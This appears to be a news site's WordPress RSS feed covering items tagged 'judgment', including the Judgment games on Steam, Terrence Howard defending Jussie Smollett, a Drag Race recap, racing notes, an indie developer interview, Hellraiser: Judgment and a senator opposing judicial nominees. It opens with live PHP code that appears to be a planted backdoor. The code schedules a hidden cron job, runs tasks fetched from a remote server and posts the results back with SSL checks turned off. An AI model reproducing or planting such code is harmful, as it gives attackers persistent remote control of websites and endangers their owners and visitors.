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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); judgment – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 14 Sep 2022 23:12:10 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png judgment – Brief News https://briefnews.eu 32 32 Yakuza spinoffs ‘Judgment’ and ‘Lost Judgment’ finally arrive on Steam https://briefnews.eu/yakuza-spinoffs-judgment-and-lost-judgment-finally-arrive-on-steam/ https://briefnews.eu/yakuza-spinoffs-judgment-and-lost-judgment-finally-arrive-on-steam/#respond Wed, 14 Sep 2022 23:12:10 +0000 https://briefnews.eu/yakuza-spinoffs-judgment-and-lost-judgment-finally-arrive-on-steam/ In a surprising turn of events, Sega has released Yakuza series spinoffs Judgment and Lost Judgment on Steam. The former first arrived on PlayStation 4 in 2018 before making its way to current generation consoles and Stadia last year. Judgment casts players as Takayuki Yagami, a private detective investigating a serial murder case in a fictional part of Tokyo modeled after the city’s famous Kabukicho district. The game’s 2021 sequel, Lost Judgment, takes place three years later and has a darker tone and new gameplay elements.

The likelihood of the Judgment franchise ever making its way to PC seemed bleak before this week. According to a report published last year by Japan’s Nikkan Taishu (via Kotaku), the series was unlikely to continue due to a dispute between Sega and the talent agency representing Takuya Kimura, the actor who lent his likeness and voice to its protagonist. Kimura’s agency was reportedly against a PC release, fearing it would hurt its business model. At one point, the two sides were so far apart it seemed unlikely Sega would make another Judgment game.

But that was before and now you can buy Judgment and Lost Judgment on Steam either separately or as part of a bundle that includes the sequel’s Kaito Files expansion.

]]> https://briefnews.eu/yakuza-spinoffs-judgment-and-lost-judgment-finally-arrive-on-steam/feed/ 0 Empire Star Terrence Howard Defends Jussie Smollett: 'His Innocence or Judgment Is Not for Us to Decide' https://briefnews.eu/empire-star-terrence-howard-defends-jussie-smollett-his-innocence-or-judgment-is-not-for-us-to-decide/ https://briefnews.eu/empire-star-terrence-howard-defends-jussie-smollett-his-innocence-or-judgment-is-not-for-us-to-decide/#respond Sun, 24 Feb 2019 18:25:13 +0000 http://briefnews.eu/empire-star-terrence-howard-defends-jussie-smollett-his-innocence-or-judgment-is-not-for-us-to-decide/

Empire star Terrence Howard has broken his silence just days after TV son Jussie Smollett was arrested for allegedly staging last month’s hate-crime attack against himself.

Howard initially posted a video to Instagram on Saturday night featuring Smollett with a baby. The post was captioned, “All your lil homies got you… We love the hell outta you ♥️.”

After a commenter criticized him for supporting a “lying felon,” Howard responded with a lengthy comment of his own in defense of Smollett.

“The Jussie I know could never even conceive of something so unconscious and ugly,” he said. “His innocence or judgment is not for any of us to decide. Stay in your lane and my lane is empathy and love and compassion for someone I’ve called my son for five years. It’s God’s job to judge and it’s ours to love and hope, especially for those that we claim to have loved. There’s nothing more harmful than a fake friend!”

Smollett’s fellow co-star Gabourey Sidibe had previously expressed her support for him throughout his legal trouble. In a since-deleted Instagram post one day before Smollett’s arrest, Sidibe wrote, “I know him, I believe him, I stand with him.”

As TVLine previously reported, Empire producers are considering bringing in a new actor to take over the role of Jamal Lyon in Season 6, should the show get renewed. Fox previously chose to suspend Smollett, who will sit out the final two episodes of Season 5.

Smollett, who has played Jamal on the Fox drama since its debut, was arrested early Thursday in Chicago and faces a felony criminal charge of disorderly conduct/filing a false police report in connection with his alleged attack. At the time, 20th Century Fox Television and Fox maintained, “We understand the seriousness of this matter and we respect the legal process. We are evaluating the situation and we are considering our options.”

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]]> https://briefnews.eu/empire-star-terrence-howard-defends-jussie-smollett-his-innocence-or-judgment-is-not-for-us-to-decide/feed/ 0 RuPaul's Drag Race All Stars Recap: One Judy Receives the Ultimate Judgment https://briefnews.eu/rupauls-drag-race-all-stars-recap-one-judy-receives-the-ultimate-judgment/ https://briefnews.eu/rupauls-drag-race-all-stars-recap-one-judy-receives-the-ultimate-judgment/#respond Sat, 02 Feb 2019 03:26:50 +0000 http://briefnews.eu/rupauls-drag-race-all-stars-recap-one-judy-receives-the-ultimate-judgment/ Friday’s episode of RuPaul’s Drag Race All Stars reunited the queens with their nearest and dearest for a true celebration of friendship, which only made that dramatic conclusion all the more ironic.

This week’s challenge required the remaining six queens — Latrice Royale, Manila Luzon, Monet X Change, Monique Heart, Naomi Smalls and Trinity the Tuck — to turn their “best Judys” (aka best friends) into members of their drag family. Additionally, each pair would have to perform a musical tribute to legendary gay icon Judy Garland.

So let’s break things down Judy by Judy:

RuPaul's Drag Race RecapNAOMI | The pressure was on for Naomi and her Judy, Ricardo, as she felt that even a minor slip-up could cost her the competition. “I don’t just want to be two pretty girls walking down the runway,” she said. (You know, something we’ve all felt at one time or another.) Naomi’s fellow queens were skeptical of her plans to do “boy drag,” but when she and Ricardo stepped onto the runway as two Chers — only for Naomi to swap her long wig out for a mustache, transforming into Sonny! — their doubts sashayed away. Guest judge Frances Bean Cobain even called their looks “stunning,” which I’m sure Monique did not appreciate.

MONIQUE | After finally getting a bonding moment with Ru, during which the host encouraged Monique to embrace her vulnerability, this queen stepped up and turned it out. Sure, Michelle Visage called Monique and Danny’s Judy performance “messy,” but the pair’s runway look — two separate ensembles that pieced together to form a fully working face — was the absolute best. (The lips! Those eyes! Them eyelashes! Stunning.)

MONET | The luck of the Irish was with Monet this week, thanks in no small part to Patty, her long-haired Energizer Bunny of a Judy. (Seriously, if Jonathan Van Ness ever gets tired of doing Queer Eye, I think Patty at least deserves an audition.) It also didn’t hurt that Patty is Monet’s assistant, making her used to… assisting. Not only did Michelle praise their “brilliant” Judy performance, but Carson Kressley acknowledged that she’s never looked more gorgeous. A double win!

LATRICE | Proof that the strongest friendship doesn’t guarantee the strongest team, Latrice introduced us to Tim, her Judy of 25 years. And because the show loves bringing up Latrice’s arrest, Ru asked her to explain how Tim “was there for her during her incarceration.” Unfortunately, neither the pair’s performance (which guest judge Ellen Pompeo called “awkward”) nor their sibling ensembles (which Michelle called “two different looks”) were up to snuff.

TRINITY | “He’s a handsome boy, but I don’t know if he’ll be a pretty girl,” Trinity said of her Judy (and boyfriend) Leo, before pivoting to the all-important question: “And what if he’s prettier than me?” Fortunately for Trinity, that didn’t turn out to be the case, though Leo definitely showed promise during their “simple but effective” performance. I also thought Trinity did the best job of making her partner look like an actual relative (in matching “Ver-sayce,” no less!), but as you’ll see, the judges had other opinions.

MANILA | Ms. Luzon also chose to partner with a romantic Judy — her husband Michael, whom she calls her “biggest supporter and source of happiness” — but that’s where their similarities end. Not only did Michelle tell them that they looked “more like distant cousins” than siblings, but the judges also picked apart the duo’s Queen of Diamonds/Queen of Clubs ensembles. “It’s a little costume shop for me,” Carson sneered, not that I necessarily disagree.

Naomi and Monet emerged as this week’s top two, giving them the power to veto either of the bottoms: Latrice or Manila. As expected, it was a dramatic scene as the queens deliberated backstage, unsure of which best friend to send packing. And with the ultimate crown on the line, neither endangered queen was willing to back down. “I love Manila, don’t get me wrong … but I’m not going to sacrifice myself,” Latrice said. “Girl, please! I’ll see you on the other side.”

Taking Ru’s advice to infinity and beyond, Naomi acted a damn fool in her lip sync against Monet, crushing her opponent with savage moves and solid jokes. And while I appreciate Monet’s use of an umbrella full of glitter, it just wasn’t enough. Burdened with the unenviable task of eliminating one of her drag idols, Naomi chose to send Manila home. (Editor’s note: OUTRAGE!)

“It’s a lot to process,” Manila said. “But these queens have to do what’s best for their game, just like I had to do what was best for my game. … It sucks.”

Did the right queen go home this week? Cast your vote below, then drop a comment with your thoughts.

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]]> https://briefnews.eu/rupauls-drag-race-all-stars-recap-one-judy-receives-the-ultimate-judgment/feed/ 0 Graham grilled over an error of judgment https://briefnews.eu/graham-grilled-over-an-error-of-judgment/ https://briefnews.eu/graham-grilled-over-an-error-of-judgment/#respond Sat, 12 Jan 2019 11:05:46 +0000 http://briefnews.eu/graham-grilled-over-an-error-of-judgment/ Peter Graham, a renowned cleanskin, was grilled by stewards for a number of races after his ride on Haames in the Highway event on Saturday.

Stewards wanted to know why he didn’t go to the outside of Guided at the 600m after he went up the inside. Graham admitted it was an error but couldn’t understand why the stipes were questioning him so hard and for so long.

“I think you are being a bit harsh,” he told chief steward Marc Van Gestel. “I’m at Randwick, not Kempsey and I was happy to keep poking along up the long straight.”

Deputy chief steward Philip Dingwall chimed in: “You’re waiting for things to happen instead of making your own options”.

Stewards eventually agreed it was an error of judgment. Graham left bemused by it all.

Meech milestone

Linda Meech became the first dual licence holder (jockey and trainer) to ride a winner in NSW on Saturday at Randwick when piloting Star Fall to an easy win. “I came up here to be a jockey so I wasn’t worried about the training,” she said. “Randwick is great and hopefully this horse might be (a Group 1 winner) one day.”

Firm footing

There’s been so much debate about how much water should put on our tracks with fears they’re too hard and causing injuries. Well, Glenn Innes was rated a Firm 1 on Saturday, something we rarely see, unless we’re in Japan. “It would take at least 10ml of rain and almost double in irrigation to get that back into the Good range,” said Randwick track manager Nevesh Ramdhani.

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Which racing identity was denied access to the owners and trainers area next to the Theatre of the Horse on Saturday?

Long shots

Just about every time a horse is nominated for the All Star Mile there’s a press release sent out but we had to roll our eyes when a release on the nominations of Melbourne Cup winners Rekindling and Almandin was written. Rekindling hasn’t even raced since the 2017 Cup and Almandin’s last run was in the Sydney Cup last autumn.

Country hopefuls

Danny Williams was licking his lips after Acquittal (third) and Highway Sixtysix (seventh) ran in the opener at Randwick on Saturday. Both want more than 1000m and are on track for their Country Championships heat at Goulburn on March 2. “They raced well above themselves and are going to improve a lot off those runs,” he said. “They didn’t even have a trial or jump out before those runs and I figured I may as well take them to the races for some prizemoney.”

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Hawkesbury Race Club continues to improve its infrastructure. The trainers have a new hut and the TV media soon will well before the club’s Stand Alone meeting in April.

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The punter that had $ 25,000 on Marsupial must have felt sick a long way out from home in the Summer Sprint. Same goes to the punter who plonked $ 25,000 on Hemmerle in the Highway race.

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Check out this foal. It would be a cult hero if it hit the race track.

HORSES TO FOLLOW: Toryjoy (another chance), Haames (unlucky), Exceltic (flew home over short trip)

ONES TO SACK: Seahampton (non-winner), Miss Invincible (racing too fierce)

RIDE OF THE DAY: Christian Reith on Taniko (did everything right after missing the kick)

QUOTE OF THE DAY: “Maybe that’s why I’m a bush jockey,” said Peter Graham in the inquiry into his ride on Haames.

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]]> https://briefnews.eu/graham-grilled-over-an-error-of-judgment/feed/ 0 QA: Suncrash’s Tomer Barkan On Judgment And The Challenges Of Early Access https://briefnews.eu/qa-suncrashs-tomer-barkan-on-judgment-and-the-challenges-of-early-access/ https://briefnews.eu/qa-suncrashs-tomer-barkan-on-judgment-and-the-challenges-of-early-access/#respond Fri, 16 Feb 2018 16:25:28 +0000 http://briefnews.eu/qa-suncrashs-tomer-barkan-on-judgment-and-the-challenges-of-early-access/ judgment2.jpg
Last year, I sat down with Suncrash’s Tomer Barkan to discuss their early access title Judgment: Apocalypse Survival Simulation, the development scene in Israel, and the challenges of developing an ambitious game in such a small country with a very small team.

What is your background?

I am a computer science major. I worked seven or eight years in network security. I was a programmer, then a team leader, then a product manager. But games are more exciting. I was at a very big conference in San Francisco and I found that nothing there interests me anymore, so when I came back [home], I quit.

And now I’m a producer at my own small company, I guess. You have to know when to cut the stuff that doesn’t work and if you don’t have enough time to do that, and that’s something that can be hard for some indies. So, being a product manager before helped me. Our art guy was doing independent stuff, mostly architecture, like 3D renders of houses that contractors want to sell.

Judgments’s reception so far has been quite positive, right?

Yes, we’re happy. Could always be better. We have our problems and we know about them, but our community is very friendly and very helpful and we owe a lot of improvements from our early access launch a year ago to the community and their feedback. In one of the last updates, more than 50% of the changes were from community fdeedback.

Why did you enter early access in the first place? Was it about feedback or was there also a funding component?

No, it was for feedback. We already had enough money to finish development. In the end, we stayed in early access longer than we had planned and it cost more, so it was good that we were able to sustain it with sales. We didn’t want to go to early access without being able to finish the game. I find that practice a bit… unethical? People are paying money for a game they expect to be finished and if you’re not sure you can finish it, then don’t promise that.

Are you worried for launch day, with all the changes of digital distribution? These days, a successful launch seems to be getting a lot harder.

I think that will worry me in our next game, but we already have a big wishlist and a huge community for this game – our sales are kind of steady, they’re not going down… I am anxious about the release, but mostly about how it will be received. I hope players will be happy with the full version and I hope they don’t think it needs more time in early access. I feel we’re close. We’re going to be updating the game after release to some extent.

Early Access might not have the best reputation, but could it be an option for gaining additional visibility when the market situation has become tougher?

We really haven’t done it the other way, but I would recommend it to other developers if they cannot get enough people to play the game before release. We had two or three closed alphas that people had to sign up for via newsletter, but very few people played and we wouldn’t get a lot of feedback. In early access, we got so much feedback, so I would recommend it, even today. For us, it did wonders. Both for the improvement of the game and also for visibility.

What were the biggest mistakes you made during early access? What are the game’s weaknesses?

Sometimes I feel that stuff is too complex and we don’t explain it well enough in the game, but that’s hard. On the other hand I don’t want something like a mobile tutorial where you have to do things step by step. It’s hard to find the balance. Overcomplication can be an issue for us in some instances.

We’ve also had some balancing issues which we have been dealing with in previous updates. We have to keep it balanced for the final release with all the new content.

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The overcomplication stuff might just be a matter of preference, though. There are players who like to micromanage stuff and get down to handling all the details…

That’s true. From the beginning, our aim was to make it automatic, so you don’t have to micromanage. But if you want to do that, you can go down to all the details and tell each survivor exactly what you want them to do – but that is optional.

What about the art style? Was that something some players didn’t agree with?

More or less half the people hate it, half the people love it. We learned a lot for our next game with regards to the art style. We’re just two people developing the game – for the most time, that is. We had another part time game developer, a designer who joined us a few months ago, but almost the entire duration it was just me and Yoni, our artist.
So we had to find a graphics style that’s doable, that’s fast enough and that on the other hand looks good, and… some people like it, some don’t.

We did some things to improve the graphics. The colors were a bit unsaturated. The game gained that apocalyptic feel, but I think it deterred players a little bit. They like more colorful stuff. We tried to find a balance where the atmosphere is still dark and apocalyptic.

What was your biggest challenge during development?

There was one tough point for us. We submitted the game to a lot of conferences like PAX and Indie Arena and we were rejected, which was very deflating. It was hard, but after a while, after we went to a few conventions ourselves, we came to the realization that our game is not the best for this kind of public thing. It’s better for people to sit at home and play it. Still, that time was hard for us because we got like three or four rejections and it was bad for motivation, but we got out of that after the realization that it’s okay.

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You’re located in Tel Aviv, Israel. How’s the indie scene there?

There is a game development scene. Just a few [months] ago, one of our mobile midcore developers called Plarium sold to an Australian company for $ 500 million. We’re very strong in social casinos. I think people mostly work where the hype is, so there’s a lot of mobile developers, and indies are a bit smaller. I think we’re one of the most advanced ones in terms of releasing on Steam. There are a few more. There’s around 15 teams lately working on indie games out of passion.

So you actually do some networking there with other devs…

It’s a very small country, so I wouldn’t call it networking. Everyone meets, we help each other. It has advantages that it’s so intimate, but also disadvantages. We don’t have a lot of experience within the community. So we come to conventions like this…

What’s your impression of Gamescom?

This is actually my third time here and I really love it. Last year we had a booth in the Indie Arena. It was fun working with all the other indies, but probably not effective for marketing.

Don’t you think it has any effect?

On sales? No, definitely not. We had only one bigger Youtuber that came by the booth. Also a lot of smaller Youtubers, and that had some effect, but other than that, nothing. It had other benefits, like working with other indies and playtesting. Now we’re out in Early Access and get a lot of feedback but before that, playtesting was important.

How big was your playtesting pool before you released to early access?

About twenty people that I know, such as friends. And I watched them play, which was very beneficial, because when you sit behind someone and watch them play, you learn a lot. And the closed alpha added maybe another twenty people – a very small pool, because we couldn’t find anyone who wanted to do it. Nobody knew about us.

Judgment is currently in the final stages of early access and will release soon. You can purchase it on Steam for $ 19.99. For more information, visit the game’s website or follow development progress on Twitter and Facebook.

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Do you believe that you are an innovator or creator? Creative people get their originality from their productive capacity and are not good at knowing whether their creations are a hit or miss. This means that what makes them great is their volume of original creations rather than their talent.

However, this is easier said than done. It takes a lot of input to maximize your quantity and maintain the quality of your work. This read aims at helping you increase your creativity without judging yourself as you do it.

Improve the Creation Process

The first step involves figuring out exactly what you aim at creating. Make sure that you have a clear direction before you embark on any plans. This entails figuring out what you intend to achieve within the next month or year. As you create, stop focusing on perfection.

Perfection leads to judgment, which kills creativity. Give your creativity a chance to flourish in the market. If you make a wrong decision, then move forward instead of comparing your work to others and beating yourself up.

As you begin, find your flow and use it to boost our creative efficiency. This flow will bring about enjoyment, involvement, and an energized feeling that will help you improve your creations. At this point, the mind is at its maximum potential and it creates a good environment for accomplishing success.

Sustain the Development Process

This involves working on your consistency. Successful people have a clear goal outline and a consistent nature that helps them achieve them. They plan their routines to facilitate their goals and visions.

What time of the day works best for your creativity? Some people are more productive during the day, while others thrive during the night. Use this to your advantage, by freeing up your schedule and concentrating on your invention(s).

Find out what works for you and include it in your daily routine. Maintain this consistency throughout the creation period. This will help you develop a habit that will help you focus on your flow and increase the number of your creations.

Inculcate Consistency and Deliberation into Your Routine

Make the daily choice to invest in your ideas and creativity deliberately. Discipline yourself by working hard and setting aside the time to make your ideas a reality. Make a habit out of it and transform it into a natural routine. In addition to this, make a point of transforming your mindset by believing in yourself more. J

udgment comes from an inner disapproval that creators face. If you feel a constant need of comparing your work to others or of not sharing your ideas with the public out of fear, then you need to work on uplifting your mindset. This will make the beginning and sustenance of the creation process easier.

The aforementioned general outlook will aid you in increasing your creativity and reducing your judgmental nature. To read the full article, click here.

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It seems like every horror series dies young or lives long enough to descend into the depths of direct-to-video trash. The Hellraiser movies, which began in 1987, achieved that transition in record time and have been disappointing horror buffs for several decades now. You know a horror franchise is in trouble when it sends its characters to outer space and Hellraiser did just that with its fourth film.

Anyway, the tenth film, Hellraiser: Judgment, arrives next month. As you’d expect, it’s going straight to Blu-ray, DVD, and VOD and the trailer makes it perfectly clear why.

Hellraiser Judgment Trailer

I’m not going to stand here and wail about the mighty having fallen, because Hellraiser was only mighty for about two years. The original film, written and directed by horror novelist and artist Clive Barker, is an icky, gooey, slimy, bloody, gory little nightmare of a movie, a blend of religious horror and deranged fantasy that lingers in the back of the mind like a sick dream, something you’d be ashamed to talk about. That’s been the key to so much of Barker’s horror on the page – he operates from a place that feels genuinely inhuman and Hellraiser is one of the few film adaptations of his work that captures that.

(Bonus thought: the lead Cenobite, the demon who would later be named “Pinhead,” exists as a neutral force, albeit a hellish one, in the first movie. The decision to maneuver him into a starring role as the chief villain in the sequels remains an unfortunate and catastrophic decision that robs him of his casual, by-the-books terror. The first movie is very much about people, good and evil, who meddle in forces they do not understand and come face-to-face with monsters who obey a strict set of guidelines, petty human morals and ethics be damned. That’s so much more interesting than anything the later sequels cooked up.)

The first sequel came one year later in 1988 and while Hellbound: Hellraiser II isn’t nearly as good as the first film, it’s still a twisted and outrageous experience that swings for the fences in every possible way. There’s an ambition to it that’s lacking in part three. And part four. Maybe not the surprisingly solid part five, but certainly part six. And part seven. And part eight. And part nine.

Part ten, Hellraiser: Judgment, seems especially unambitious, looking like a Saw sequel with a supernatural element rather than a proper Hellraiser movie. Then again, “a proper Hellraiser movie” at this point is low-budget junk that vanishes straight to video because only a handful of people care about these movies anymore. So maybe it is a proper Hellraiser movie? Anyway, Judgment can’t possibly be worse than 2011’s Hellraiser: Revelations, a film that was literally produced on a microscopic budget so Dimension Films could hold on to the franchise rights as part of a plan to remake the original. Seven years later, they still haven’t remade the original.

Hellraiser: Judgment is written and directed by Gary J. Tunnicliffe and arrives on Blu-ray, DVD, and VOD on February 13, 2018. It looks bad. I know I’ll eventually see it because I’m an unhealthy person. Here’s the official synopsis:

The dreaded Pinhead returns in the next terrifying chapter of the classic Hellraiser series. Three detectives trying to stop a diabolical serial killer are sucked into a maze of otherworldly horror, where hellish denizens including the Auditor, the Assessor, and the Jury await to pass judgment.

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]]> https://briefnews.eu/heres-the-petty-way-taylor-swifts-assaulter-paid-out-the-1-judgment-he-owed-her/feed/ 0 Judgment Nay 👱🚫 https://briefnews.eu/judgment-nay-%f0%9f%91%b1%f0%9f%9a%ab/ https://briefnews.eu/judgment-nay-%f0%9f%91%b1%f0%9f%9a%ab/#respond Fri, 01 Dec 2017 06:08:47 +0000 http://briefnews.eu/judgment-nay-%f0%9f%91%b1%f0%9f%9a%ab/

President Donald Trump is confronting an unlikely source of dissent in his quest to rapidly fill more than 100 vacant court seats with conservative judges: a first-term Republican senator.

Sen. John Kennedy has been in office less than a year, but the Louisiana Republican has already established himself as a wild card on judicial nominations.

It started over the summer, when Kennedy, from his perch on the Senate Judiciary Committee, became the first Republican to publicly criticize one of Trump’s appeals court nominees — “I’m not impressed,” he told a nominee who had blogged about politics under a pseudonym. At hearings this fall, Kennedy expressed frustration when he felt nominees weren’t answering his questions directly.

This week, Kennedy split with the White House in a big way, not only becoming the first Republican to vote against one of Trump’s nominees, but also publicly airing his grievances with White House Counsel Don McGahn, who plays a lead role in vetting and recommending potential judges to the president.

It’s not clear just how much of a problem Kennedy will pose to the White House as it moves to reshape the judiciary. Kennedy has voted for most of Trump’s nominees. But on Tuesday he voted “no” on deputy White House counsel Greg Katsas’ nomination to the US Court of Appeals for the DC Circuit, and Politico reported that he would oppose Alabama federal district court nominee Brett Talley, whose record he criticized. At a Senate hearing on Wednesday, Kennedy raised concerns about at least two other nominees.

With 52 Republicans in the Senate, one defector isn’t enough to stop Trump from getting nominees confirmed. But it does open up a new front of opposition for the White House to contend with. The smooth confirmation of conservative judges has been a bright spot for Trump and congressional Republicans as they’ve struggled to score legislative wins. Conservative advocacy groups that have taken on Democrats for opposing Trump’s nominees have signaled that they’re also prepared to mobilize against Republicans who stand in the way.

Carrie Severino, chief counsel of the Judicial Crisis Network, told BuzzFeed News Kennedy’s vote against Katsas “took me as much by surprise as anyone.”

Asked if the Judicial Crisis Network, a conservative group that has funded six-figure ad campaigns supporting Trump’s nominees, would run ads against Republicans who opposed Trump’s picks, Severino said, “We are always prepared to make the case for quality judges.”

Kennedy revealed on Wednesday that he had tangled with McGahn over a Louisiana nominee for the US Court of Appeals for the Fifth Circuit, Kyle Duncan. Leading up to Duncan’s hearing on Wednesday before the Senate Judiciary Committee, Kennedy had yet to throw his support behind the nomination. On a form known as a blue slip that Kennedy submitted earlier this month to the committee about Duncan, instead of checking one of the two available options — “I approve” or “I oppose” — Kennedy drew a third line and wrote, “undecided.”

“My return of the blue slip should in no way be construed as an indication that I will vote for Mr. Duncan,” Kennedy wrote.

Kennedy explained during Wednesday’s hearing that he was undecided because he wasn’t familiar with Duncan’s background, and that Duncan’s Senate questionnaire wrongly implied that Kennedy put forward Duncan’s name to the White House. Kennedy suggested he had been steamrolled by McGahn.

“I first learned about Mr. Duncan’s nomination when I received a phone call, actually a series of phone calls, from Mr. Don McGahn … and Mr. McGahn was very firm that Mr. Duncan would be the nominee, to the point that he was on the scarce side in one conversation of being polite,” Kennedy said, adding that McGahn later apologized.

Louisiana Sen. Bill Cassidy offered his version of events at the hearing, saying that he had submitted Duncan’s name, along with several others, to the White House after convening a committee of local lawyers and business leaders to vet applicants. Cassidy said Kennedy looked at the names before they were sent to the White House.

A senior administration official told BuzzFeed News in a statement that “the White House consulted extensively with Senators Cassidy and Kennedy on both Fifth Circuit vacancies and the District Court vacancies in Louisiana, consistent with our practice of consulting with all home-state Senators on judicial selections.” Trump has also nominated US District Judge Kurt Engelhardt to one of the Louisiana seats on the Fifth Circuit, which also covers Texas and Mississippi.

“We value Senator Kennedy’s input on judicial nominations and hope we can work together to continue the Trump Administration’s success on judicial nominees,” the official wrote.

The Judicial Crisis Network and other conservative groups have rallied around Duncan’s nomination. On Wednesday, Severino put out a statement saying, “The people of Louisiana are waiting to find out if Senator Kennedy stands with them and President Trump or liberal special interest groups in Washington.”

Kennedy’s votes and his comments about Trump’s nominees have given liberals a sliver of hope that Republicans won’t always act as a monolith on judicial nominees, even as Kennedy on Wednesday reiterated his support generally for conservative judges. Without Republicans switching sides, Democrats have little means of blocking Trump’s nominees.

“It’s telling that now you have both Democrats and Republicans hopefully standing up for the Senate as an independent institution whose job is not just to rubber stamp Trump nominees but to provide critical advice and consent,” said Dan Goldberg, legal director of the liberal advocacy group Alliance for Justice.

Asked after Wednesday’s hearing what factors he considers in deciding how to vote on judicial nominees, Kennedy replied, “Experience. Intelligence. Integrity. Fairness. Impartiality, and an understanding about the importance about the appearance of impartiality.”

Kennedy told reporters his opposition to Katsas was rooted in concerns about conflicts of interest. Katsas, who joined the White House counsel’s office in January, faced questions at his confirmation hearing in October about what role he played in Trump’s travel ban orders, the decision to end the Deferred Action for Childhood Arrivals program, and other controversial actions. Katsas declined to provide details on legal advice he provided to Trump and other officials, citing attorney-client privilege and the need to protect executive branch confidentiality.

“I think that [Katsas’] credentials are breathtakingly impressive,” Kennedy told reporters. “I think there’s an appearance of a conflict of interest for someone to represent a client on Thursday and then Friday go across the street and sit on a court that hears cases involving the client. … I think that undermines the integrity of the judiciary.”

Katsas was confirmed this week 50–48, with West Virginia Democrat Sen. Joe Manchin voting yes and two Republicans sitting out.

Besides the Katsas confirmation vote, Kennedy has broken with Republicans on floor votes related to judicial nominees two other times. On Monday, he voted against ending debate and moving to a final vote on Katsas. And on Nov. 16, he voted against going to a final vote on the nomination of Dabney Friedrich, a former member of the US Sentencing Commission, to the US District Court for the District of Columbia. Kennedy ultimately voted to confirm Friedrich, however. A spokesperson for Kennedy did not respond to a request for comment on the Friedrich vote.

Kennedy has said he’s against the nomination of Talley, a senior Justice Department official, to the US District Court for the Middle District of Alabama because of Talley’s lack of courtroom experience and because he didn’t include in his Senate questionnaire that his wife is Ann Donaldson, who serves as McGahn’s chief of staff. Talley’s supporters have disputed that Talley was required to list Donaldson as a possible conflict of interest and have pointed to his other legal experience as evidence of his qualifications.

Talley has also come under scrutiny for posts he appeared to have written on an Alabama sports website, TideFans.com. BuzzFeed News reported that TideFans.com poster “BamainBoston,” who identified himself in one post as Talley and shared other personal information that matched Talley’s background, wrote thousands of posts, including some about politics, immigration, gun control, and other nonsports subjects. Slate reported that one post defended the early Ku Klux Klan.

At Wednesday’s hearing for Duncan and David Stras, a Minnesota Supreme Court justice nominated for the Eighth Circuit, Kennedy asked if either had ever blogged in support of the Ku Klux Klan; Duncan and Stras said they had not. Kennedy also asked questions that suggested he had concerns about Texas district court nominee Jeff Mateer and Court of Federal Claims nominee Damien Schiff.

Had Duncan or Stras ever called a child part of Satan’s plan, Kennedy asked; CNN reported that Mateer described transgender children as evidence of Satan’s plan in a 2015 speech. Duncan and Stras said they had not. Had either nominee ever called a past or present US Supreme Court justice a prostitute, Kennedy asked; Schiff described Justice Anthony Kennedy as a “judicial prostitute” in a 2007 blog post. Duncan and Stras said they had not.

Kennedy declined to comment after the hearing about whether he would oppose Mateer and Schiff.

Kennedy voted in favor of Katsas and Talley’s nominations in committee, although the reports about the TideFans.com posts and Talley’s decision not to include his wife in his questionnaire came out after the committee vote. Asked about his vote for Katsas in the committee, Kennedy didn’t provide a clear answer — he said he thought Katsas had excellent credentials, but that there were conflict of interest issues.

No other Republican has publicly come out against Trump’s judicial nominees. Kennedy declined to comment on whether he’d gotten any pushback from his Republican colleagues for voting against Katsas, but said that even if he did, it wouldn’t make a difference.

“That kind of pressure doesn’t bother me,” Kennedy said.

During Wednesday’s hearing, Kennedy suggested that he also wasn’t bothered by his tussle with the White House. Duncan at one point told Kennedy that he regretted the senator felt disrespected in the process. Kennedy told Duncan that he didn’t feel disrespected, and even if he did, it wouldn’t matter. Kennedy’s last job was as Louisiana’s tax collector, after all.

“This stuff is pattycake compared to that,” he said.

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We’re only a few days away from the highly-anticipated debut of Stranger Things 2, and Netflix has dropped one last trailer to promote their supernatural sci-fi hit. You know what that means: it’s time to dive in and try to uncover whatever secrets we can from the new footage…of which there is plenty.

Join us for our final Stranger Things trailer breakdown before season 2 arrives.

The first trailer for season 2 had that terrific usage of Michael Jackson’s Thriller and did a good job of teasing the scope of the new season while still focusing on the camaraderie of the child protagonists as they hang out at the arcade, cruise around on bikes, and dress as Ghostbusters for Halloween. But while that trailer included some fun and games, this one gets serious.

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The previous trailer held off on showing any footage of Eleven until the end, but this one kicks off with her out in the snowy woods, retrieving the Eggos that Sheriff Hopper is leaving for her.

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After a few mood-setting shots that we’ve seen before, we hear a new voiceover. “On Halloween night, Will saw a sort of shadow,” Mike Wheeler says. We know Will has a much larger role in this season than he did last season, where he spent much of his time trapped in The Upside Down. He’s experiencing flashes to that dimension…and while there’s no sign of the Demagorgon from season one, there’s something bigger – and potentially more dangerous – out in the distance.

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The “shadow” they mention is what they’re referring to as “the shadow monster,” a Lovecraftian nightmare that show creators The Duffer Brothers have described as “this inter-dimensional being that is sort of beyond human comprehension.” It’s interesting that we see it here bathed in the blue light of the Upside Down, whereas in the previous trailer it was surrounded by (and maybe even emanating) red lightning. Could there be two of these things out there? Maybe one that’s good, and one that’s evil?

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As the next shot fades in, we see Nancy Wheeler and Jonathan Byers entering a dingy room with a bearded guy in the background.

